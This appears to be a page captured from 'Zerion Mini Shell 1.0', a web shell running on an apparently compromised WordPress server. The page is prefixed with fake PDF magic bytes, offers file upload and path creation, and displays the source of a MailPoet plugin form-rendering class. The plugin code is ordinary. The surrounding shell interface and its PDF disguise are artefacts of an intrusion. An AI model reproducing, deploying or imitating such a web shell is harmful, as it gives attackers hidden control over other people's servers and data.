%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pn/beta/64801_wp-content/plugins/mailpoet/lib/Form/Block/
Upload File :
Create Path :
Current File : //var/www/pn/beta/64801_wp-content/plugins/mailpoet/lib/Form/Block/Text.php

<?php

namespace MailPoet\Form\Block;

if(!defined('ABSPATH')) exit;

class Text extends Base {

  static function render($block) {
    $type = 'text';
    $automation_id = ' ';
    if($block['id'] === 'email') {
      $type = 'email';
      $automation_id = 'data-automation-id="form_email" ';
    }

    $html = '<p class="mailpoet_paragraph">';

    $html .= static::renderLabel($block);

    $html .= '<input type="' . $type . '" class="mailpoet_text" ';

    $html .= 'name="data[' . static::getFieldName($block) . ']" ';

    $html .= 'title="' . static::getFieldLabel($block) . '" ';

    $html .= 'value="' . static::getFieldValue($block) . '" ';

    $html .= $automation_id;

    $html .= static::renderInputPlaceholder($block);

    $html .= static::getInputValidation($block);

    $html .= static::getInputModifiers($block);

    $html .= '/>';

    $html .= '</p>';

    return $html;
  }
}

Zerion Mini Shell 1.0